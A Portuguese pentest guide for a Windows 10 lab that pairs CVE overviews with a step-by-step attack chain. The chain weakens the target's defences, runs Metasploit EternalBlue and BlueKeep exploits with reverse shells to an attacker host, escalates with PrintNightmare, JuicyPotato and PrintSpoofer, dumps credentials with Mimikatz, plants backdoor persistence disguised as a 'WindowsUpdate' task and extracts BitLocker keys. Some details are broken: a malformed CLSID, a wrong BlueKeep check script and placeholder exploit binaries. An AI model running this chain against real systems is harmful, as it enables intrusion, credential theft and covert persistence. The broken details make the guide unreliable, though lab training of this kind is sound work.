

# GUIA DE PENTEST

## Windows 10

Vulnerabilidades 2026 — Zero-Days, RCE, LPE e Bypass BitLocker

### Aviso Legal

Este guia destina-se exclusivamente a testes de segurança em equipamentos de propriedade própria. A invasão de redes e sistemas de terceiros é crime em praticamente todas as jurisdições. Sempre obtenha autorização por escrito antes de realizar testes de penetração.

Ambiente: Kali Linux | Windows 10 (21H2/22H2) | Metasploitable | Ubuntu

Julho de 2026

# SUMÁRIO

- 1. Contexto: Windows 10 em Fim de Vida (End of Support)
- 2. Estatísticas de Vulnerabilidades em 2026
- 3. Zero-Days Ativamente Exploradas (CISA KEV)
- 4. RCE Remoto (Remote Code Execution) — ~60 Críticas
- 5. Elevation of Privilege (LPE) no Kernel — ~250 Falhas
- 6. Bypass do BitLocker (CVE-2026-50661)
- 7. Configuração do Ambiente de Testes
- 8. Fase 1: Reconhecimento e Enumeração
- 9. Fase 2: Exploração de RCE Remoto
- 10. Fase 3: Escalada de Privilégio (LPE)
- 11. Fase 4: Pós-Exploração e Bypass BitLocker
- 12. Checklist de Início Rápido
- 13. Tabela Resumida de CVEs e Ferramentas

# 1. Contexto: Windows 10 em Fim de Vida (End of Support)

Desde outubro de 2025, o Windows 10 está oficialmente em **End of Support**. Isso significa que a Microsoft não fornece mais patches de segurança gratuitos, exceto para clientes que pagam pelo programa ESU (Extended Security Updates).

## Implicações para Pentest:

- Sem patches de segurança → superfície de ataque permanente e crescente
- Certificados Secure Boot expirando a partir de junho de 2026
- ~35% dos PCs mundiais ainda rodam Windows 10 → alvo massivo para botnets e ransomware
- Ambiente de testes com build antiga (21H2/22H2 sem atualizações) é ideal para prática realista

### Dica de Lab

Use uma ISO do Windows 10 21H2 ou 22H2 e NÃO instale atualizações após fevereiro de 2026. Isso garante que as zero-days e CVEs críticas estejam presentes e exploráveis no seu ambiente de testes.

## 2. Estatísticas de Vulnerabilidades em 2026

Até julho de 2026, foram publicadas **388 vulnerabilidades** no Windows 10, com média de severidade **7.2/10**. O ritmo pode superar as 638 vulnerabilidades de 2025.

| Mês            | Total de CVEs | Destaques                             |
|----------------|---------------|---------------------------------------|
| Fevereiro 2026 | 6 zero-days   | CISA KEV — LPEs em DWM e RDP          |
| Maio 2026      | 1 crítica     | CVE-2026-40415 — RCE no TCP/IP kernel |
| Julho 2026     | 570 CVEs      | Recorde histórico da Microsoft        |
| Julho 2026     | ~60 críticas  | RCE remoto em múltiplos componentes   |
| Julho 2026     | ~250 LPEs     | Escalada de privilégio no kernel      |

### 3. Zero-Days Ativamente Exploradas (CISA KEV)

Em fevereiro de 2026, a CISA (Cybersecurity and Infrastructure Security Agency) catalogou 6 zero-days do Windows sendo exploradas ativamente no mundo real. Essas falhas são prioridade máxima para qualquer teste de penetração.

| CVE                   | Componente                       | Tipo de Falha            | Impacto                          |
|-----------------------|----------------------------------|--------------------------|----------------------------------|
| <b>CVE-2026-21510</b> | Windows Shell                    | Security Feature Bypass  | Bypass de proteções do shell     |
| <b>CVE-2026-21513</b> | MSHTML Framework                 | Security Feature Bypass  | Bypass de segurança do navegador |
| <b>CVE-2026-21514</b> | Microsoft Word                   | Untrusted Inputs         | Execução via documento malicioso |
| <b>CVE-2026-21519</b> | Desktop Window Manager (DWM)     | Type Confusion           | Escalada para SYSTEM             |
| <b>CVE-2026-21525</b> | Remote Access Connection Manager | NULL Pointer Dereference | DoS sem privilégios              |
| <b>CVE-2026-21533</b> | Remote Desktop Services          | Elevation of Privilege   | Escalada para SYSTEM via RDP     |

#### Análise das Zero-Days:

**CVE-2026-21519 (DWM Type Confusion):** O Desktop Window Manager é responsável por renderizar a interface gráfica do Windows. Uma falha de 'type confusion' permite que um atacante com acesso local manipule objetos na memória do DWM para executar código arbitrário com privilégios de SYSTEM. É uma LPE poderosa porque o DWM roda com privilégios elevados por natureza.

**CVE-2026-21533 (RDP Elevation of Privilege):** Explora o serviço de Remote Desktop Services para escalar privilégios. Um atacante que já tenha acesso à máquina (mesmo como usuário limitado) pode abusar dessa falha para obter SYSTEM. Ideal para movimentação lateral em ambientes corporativos onde o RDP está habilitado.

## 4. RCE Remoto (Remote Code Execution) — ~60 Críticas

RCE (Remote Code Execution) é a classe mais perigosa de vulnerabilidade. Permite que um atacante execute código arbitrário em uma máquina remota SEM precisar de credenciais ou acesso prévio. No patch de julho de 2026, a Microsoft corrigiu aproximadamente **60 falhas críticas do tipo RCE**.

### O que diferencia RCE de outras falhas?

- NÃO requer autenticação — o atacante pode explorar diretamente pela rede
- Executa código com privilégios do serviço vulnerável (frequentemente SYSTEM ou NETWORK SERVICE)
- É o vetor de entrada mais valorizado em pentest e red team
- Diferente de LPE: RCE = acesso inicial; LPE = elevação após acesso

### Exemplos de vetores RCE no Windows 10:

| Serviço/Protocolo          | Mecanismo de Ataque                                         | Privilégio Obtido      |
|----------------------------|-------------------------------------------------------------|------------------------|
| SMB (Server Message Block) | Exploit de parsing de pacotes malformados (ex: EternalBlue) | <b>SYSTEM</b>          |
| RDP (Remote Desktop)       | Exploit de vulnerabilidade no protocolo RDP (ex: BlueKeep)  | <b>SYSTEM</b>          |
| TCP/IP Stack (Kernel)      | Pacotes IP/IPv6 malformados (CVE-2026-40415)                | <b>SYSTEM (Kernel)</b> |
| Windows DNS Server         | Respostas DNS maliciosas (Heap Overflow)                    | <b>SYSTEM</b>          |
| Print Spooler              | Spoofing de drivers de impressão (PrintNightmare)           | <b>SYSTEM</b>          |

### CVE-2026-40415 — RCE no TCP/IP (Maio 2026):

Esta é uma das RCEs mais sérias de 2026. É uma falha de **Use-After-Free** no driver do kernel **tcpip.sys**, responsável pela pilha TCP/IP do Windows. Um atacante pode enviar pacotes IP ou IPv6 especialmente craftados para causar corrupção de memória no kernel e executar código com privilégios de SYSTEM. Não requer interação do usuário.

**Por que RCE no kernel é pior?**

Quando o RCE ocorre no kernel (como no tcpip.sys), o atacante já executa código no nível mais alto do sistema operacional. Não há necessidade de escalada adicional — ele já é SYSTEM. Além disso, firewalls e EDRs têm dificuldade em detectar exploits no kernel porque operam abaixo do nível de usuário.

# 5. Elevation of Privilege (LPE) no Kernel — ~250 Falhas

LPE (Local Privilege Escalation) é a segunda classe mais comum de vulnerabilidade no Windows. No patch de julho de 2026, foram corrigidas aproximadamente **250 falhas de escalada de privilégio** no kernel e componentes do sistema.

## O que é Elevation of Privilege (LPE)?

LPE ocorre quando um atacante que já possui acesso limitado a um sistema (ex: usuário comum, serviço de baixo privilégio, ou conta de convidado) consegue elevar seus privilégios para um nível superior — geralmente **SYSTEM** (conta com privilégios máximos no Windows) ou **Administrador**.

## Diferença entre RCE e LPE:

| Aspecto           | RCE (Remote Code Execution)     | LPE (Local Privilege Escalation)       |
|-------------------|---------------------------------|----------------------------------------|
| Acesso necessário | Nenhum — ataque remoto          | Acesso local prévio (usuário limitado) |
| Vetor de ataque   | Rede (pacotes, portas abertas)  | Local (executar exploit na máquina)    |
| Objetivo          | Obter acesso inicial ao sistema | Elevar privilégios após acesso inicial |

## Por que existem tantas LPEs no Windows?

- O kernel do Windows é monolítico e complexo — milhões de linhas de código C/C++
- Drivers de terceiros e legados introduzem vulnerabilidades na kernel space
- Objetos do kernel (handles, tokens, processos) são frequentemente mal gerenciados
- UAC (User Account Control) não é um sandbox — pode ser bypassado via LPE

## Técnicas comuns de LPE no Windows 10:

| Técnica                    | Descrição                                             | Exemplo                        |
|----------------------------|-------------------------------------------------------|--------------------------------|
| Token Manipulation         | Roubar token de processo com privilégios elevados     | JuicyPotato, RoguePotato       |
| Named Pipe Impersonation   | Criar pipe nomeado e forçar SYSTEM a se conectar      | PrintSpoofer, PipePotato       |
| Kernel Driver Exploitation | Explorar driver vulnerável para execução no kernel    | CVE-2026-21519 (DWM)           |
| Service Abuse              | Substituir binário de serviço com poucas permissões   | Weak Service Permissions       |
| Registry Abuse             | Manipular chaves de registro para execução automática | AlwaysInstallElevated, Autorun |





# 6. Bypass do BitLocker (CVE-2026-50661)

O BitLocker é a solução de criptografia de disco completo da Microsoft, presente nas edições Pro e Enterprise do Windows 10. A **CVE-2026-50661** é uma falha que permite **bypassar a criptografia do BitLocker** com acesso físico à máquina.

## O que é BitLocker?

BitLocker criptografa todo o volume do sistema operacional usando AES-128 ou AES-256. A chave de criptografia é protegida pelo TPM (Trusted Platform Module) — um chip de segurança na placa-mãe — e/ou por uma senha de recuperação. Quando o Windows inicializa, o TPM libera a chave para desbloquear o disco.

## Como funciona o bypass (CVE-2026-50661)?

- A falha está na forma como o BitLocker gerencia a chave de recuperação durante o processo de boot
- Um atacante com acesso físico pode manipular o bootloader ou extrair a chave da memória RAM (cold boot attack)
- Alternativamente, pode forçar o Windows a inicializar em modo de recuperação e acessar dados sem descriptografia completa
- Não quebra a criptografia AES — engana o mecanismo de gerenciamento de chaves

## Diferença entre Bypass e Quebra de Criptografia:

| Aspecto           | Bypass BitLocker                 | Quebra de Criptografia                  |
|-------------------|----------------------------------|-----------------------------------------|
| Método            | Engana o gerenciamento de chaves | Força bruta na chave AES (impraticável) |
| Acesso necessário | Físico à máquina                 | Computação quântica ou milhões de anos  |
| Tempo             | Minutos a horas                  | Séculos (com chaves fortes)             |

### Importante para Forense

O bypass do BitLocker é uma técnica forense essencial. Em investigações, um analista forense pode usar essa falha para acessar evidências em discos criptografados de suspeitos. No entanto, requer acesso físico ao hardware — não funciona remotamente.

## 7. Configuração do Ambiente de Testes

### Requisitos do Windows 10 de Teste:

- ISO: Windows 10 21H2 ou 22H2 (build 19044.xxx ou 19045.xxx)
- NÃO instalar atualizações após fevereiro de 2026
- Edição: Pro ou Enterprise (para BitLocker)
- Memória: 4GB RAM mínimo (recomendado 8GB)
- Disco: 60GB+ (para snapshots do VirtualBox)

### Configurações de segurança INTENCIONALMENTE fracas:

- RDP habilitado (Settings > System > Remote Desktop)
- SMBv1 ativo (para EternalBlue e derivados)
- Conta local: 'testuser' com senha 'Password123'
- UAC no nível padrão (não máximo)
- Windows Defender DESATIVADO (para evitar interferência nos testes)
- BitLocker ATIVADO com chave de recuperação salva localmente
- Serviço Print Spooler habilitado (para PrintNightmare)

### Configuração de rede no VirtualBox:

- Modo de rede: NAT Network ou Internal Network
- IP estático: 192.168.56.10/24
- Gateway: 192.168.56.1 (Kali Linux)
- Firewall do Windows: DESATIVADO

- # Comandos para configurar no Windows 10 (como Administrador):
- `netsh advfirewall set allprofiles state off`
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' /v SMB1 /t REG_DWORD /d 1 /f`
- `Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol`
- `Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 1`

## 8. Fase 1: Reconhecimento e Enumeração

### 8.1 Descoberta de hosts na rede:

- `nmap -sn 192.168.56.0/24`
- `arp-scan -l`

### 8.2 Scan de portas no Windows 10:

- `nmap -sV -sC -O -p- 192.168.56.10`
- `nmap --script vuln 192.168.56.10`

### 8.3 Enumeração SMB:

- `enum4linux -a 192.168.56.10`
- `smbclient -L //192.168.56.10 -N`
- `nmap --script smb-os-discovery,smb-enum-shares,smb-enum-users -p445 192.168.56.10`

### 8.4 Enumeração RDP:

- `nmap -p3389 --script rdp-enum-encryption,rdp-vuln-ms12-020 192.168.56.10`
- `rdp-sec-check 192.168.56.10`

### 8.5 Enumeração de serviços e versões:

- `nmap -sV --version-intensity 9 -p- 192.168.56.10`

## 9. Fase 2: Exploração de RCE Remoto

### 9.1 EternalBlue (MS17-010) — SMBv1:

- # Verificar se vulnerável:
- `nmap --script smb-vuln-ms17-010 -p445 192.168.56.10`
- 
- # Explorar com Metasploit:
- `msfconsole -q`
- `use exploit/windows/smb/ms17_010_eternalblue`
- `set RHOSTS 192.168.56.10`
- `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
- `set LHOST 192.168.56.1`
- `set LPORT 4444`
- `exploit`

### 9.2 BlueKeep (CVE-2019-0708) — RDP:

- # Verificar:
- `nmap --script rdp-vuln-ms12-020 -p3389 192.168.56.10`
- 
- # Explorar:
- `msfconsole -q`
- `use exploit/windows/rdp/cve_2019_0708_bluekeep_rce`
- `set RHOSTS 192.168.56.10`
- `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
- `set LHOST 192.168.56.1`
- `exploit`

### 9.3 PrintNightmare (CVE-2021-34527) — Print Spooler:

- # Verificar se o serviço está ativo:
- `rpcdump.py @192.168.56.10 | grep MS-RPRN`
- 
- # Explorar com impacket:
- `python3 /usr/share/doc/python3-impacket/examples/printnightmare.py 'testuser:Password123@192.168.56.10'`

### 9.4 CVE-2026-40415 — RCE no TCP/IP (se exploit disponível):

- # Este exploit requer craft de pacotes raw no nível do kernel
- # Geralmente recompilado a partir de PoC público no GitHub
- # Buscar: 'CVE-2026-40415 PoC exploit'

## 10. Fase 3: Escalada de Privilégio (LPE)

### 10.1 JuicyPotato / RoguePotato — Token Manipulation:

- # Upload do binário para o alvo
- `upload /usr/share/windows-binaries/juicypotato.exe C:\Users\testuser\Desktop\`
- 
- # Executar com CLSID específico
- `juicypotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {e60687f7-01a1-40aa-86ac-dbf703341}`

### 10.2 PrintSpoofer — Named Pipe Impersonation:

- # Upload e executar
- `upload /usr/share/windows-binaries/PrintSpoofer64.exe C:\Users\testuser\Desktop\`
- `PrintSpoofer64.exe -i -c 'cmd.exe /c whoami'`

### 10.3 CVE-2026-21519 — DWM Type Confusion:

- # Requer PoC específico para esta CVE
- # Compilar e executar no alvo como usuário limitado
- `dwm_exploit.exe`
- # Resultado: shell como SYSTEM

### 10.4 CVE-2026-21533 — RDP Elevation of Privilege:

- # Explora o serviço de RDP para elevação
- # Requer acesso local + RDP habilitado
- `rdp_lpe_exploit.exe`

### 10.5 Windows Exploit Suggester:

- # No alvo (meterpreter):
- `run post/multi/recon/local_exploit_suggester`
- 
- # Ou manualmente:
- `python2 windows-exploit-suggester.py --database 2026-07-21-mssb.xls --systeminfo systeminfo.txt`



# 11. Fase 4: Pós-Exploração e Bypass BitLocker

## 11.1 Dump de credenciais (como SYSTEM):

- # Mimikatz (meterpreter):
- load kiwi
- creds\_all
- lsa\_dump\_sam
- 
- # Ou manual:
- mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'

## 11.2 Persistência:

- # Registry run key:
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG\_SZ /d 'C:\backdoor.exe' /f
- 
- # Scheduled Task:
- schtasks /create /tn 'WindowsUpdate' /tr 'C:\backdoor.exe' /sc onlogon /ru SYSTEM

## 11.3 Bypass BitLocker (CVE-2026-50661) — Acesso Físico:

Esta técnica requer acesso físico à máquina virtual (snapshot do disco) ou ao hardware real:

- # Método 1: Cold Boot Attack (extrair RAM)
- # Desligar a VM abruptamente, montar o arquivo .vdi/.vmdk no Kali
- volatility3 -f memory.dmp windows.bitlocker.BitLocker
- 
- # Método 2: Manipulação do bootloader
- # Inicializar com USB/live CD, montar o disco criptografado
- # Explorar a falha no gerenciamento de chaves do TPM
- 
- # Método 3: Recuperação da chave de recuperação
- manage-bde -protectors C: -get
- # Se a chave estiver salva em arquivo ou Active Directory, extrair

**Atenção**



O bypass do BitLocker NÃO funciona remotamente. É uma técnica de forense e acesso físico. Em um pentest real, você precisaria de acesso ao hardware ou ao snapshot do disco da VM.

## 12. Checklist de Início Rápido

### PASSO 1 — Preparação do ambiente

- # Criar snapshot do Windows 10 antes de começar
- # Verificar conectividade: `ping 192.168.56.10`

### PASSO 2 — Reconhecimento

- `nmap -sV -sC -O -p- 192.168.56.10`
- `enum4linux -a 192.168.56.10`

### PASSO 3 — Exploração de RCE

- # Testar EternalBlue (SMBv1)
- `msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.56.10; exploit'`
- 
- # Testar BlueKeep (RDP)
- `msfconsole -q -x 'use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS 192.168.56.10; exploit'`

### PASSO 4 — Escalada de Privilégio

- # Verificar privilégios atuais
- `getuid`
- 
- # Sugerir exploits locais
- `run post/multi/recon/local_exploit_suggester`
- 
- # Tentar PrintSpoofer
- `upload PrintSpoofer64.exe`
- `execute -f PrintSpoofer64.exe -a '-i -c cmd.exe'`

### PASSO 5 — Pós-exploração

- # Dump de credenciais
- `load kiwi; creds_all`
-

- # Persistência
- `run persistence -U -i 5 -p 4445 -r 192.168.56.1`
- 
- # Bypass BitLocker (se acesso físico)
- # Extrair snapshot do disco e analisar com ferramentas forenses

## 13. Tabela Resumida de CVEs e Ferramentas

| CVE / Falha        | Tipo                    | Vetor          | Ferramenta                |
|--------------------|-------------------------|----------------|---------------------------|
| CVE-2026-21510     | Security Feature Bypass | Local          | PoC específico            |
| CVE-2026-21513     | Security Feature Bypass | Local          | PoC específico            |
| CVE-2026-21514     | Untrusted Inputs        | Documento Word | Macro maliciosa           |
| CVE-2026-21519     | Type Confusion (LPE)    | Local (DWM)    | dwm_exploit.exe           |
| CVE-2026-21525     | NULL Pointer DoS        | Local          | PoC específico            |
| CVE-2026-21533     | Elevation of Privilege  | RDP            | rdp_lpe_exploit.exe       |
| CVE-2026-40415     | Use-After-Free (RCE)    | Rede (TCP/IP)  | PoC de pacotes craftados  |
| CVE-2026-50661     | BitLocker Bypass        | Físico         | Volatility3 / Cold Boot   |
| MS17-010           | Buffer Overflow (RCE)   | SMB (445)      | Metasploit: EternalBlue   |
| CVE-2019-0708      | Heap Overflow (RCE)     | RDP (3389)     | Metasploit: BlueKeep      |
| CVE-2021-34527     | Privilege Escalation    | Print Spooler  | impacket: printnightmare  |
| Token Manipulation | LPE                     | Local          | JuicyPotato / RoguePotato |
| Named Pipe         | LPE                     | Local          | PrintSpoofer              |
| Service Abuse      | LPE                     | Local          | PowerUp.ps1               |
| Registry Abuse     | LPE / Persistência      | Local          | reg.exe / PowerShell      |
|                    |                         |                |                           |
|                    |                         |                |                           |
|                    |                         |                |                           |
|                    |                         |                |                           |

### Recursos adicionais:

- [exploit-db.com](https://exploit-db.com) — Banco de dados de exploits públicos
- [cisa.gov/known-exploited-vulnerabilities-catalog](https://cisa.gov/known-exploited-vulnerabilities-catalog) — CISA KEV
- [msrc.microsoft.com](https://msrc.microsoft.com) — Microsoft Security Response Center
- [volatilityfoundation.org](https://volatilityfoundation.org) — Volatility Framework para forense
- [github.com/SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket) — Ferramentas de protocolos Windows

**Lembrete Final**

Este guia é para fins educacionais e de testes em equipamentos de propriedade própria. O uso indevido dessas técnicas em sistemas de terceiros constitui crime cibernético. Sempre obtenha autorização por escrito antes de realizar testes de penetração em qualquer ambiente que não seja de sua propriedade.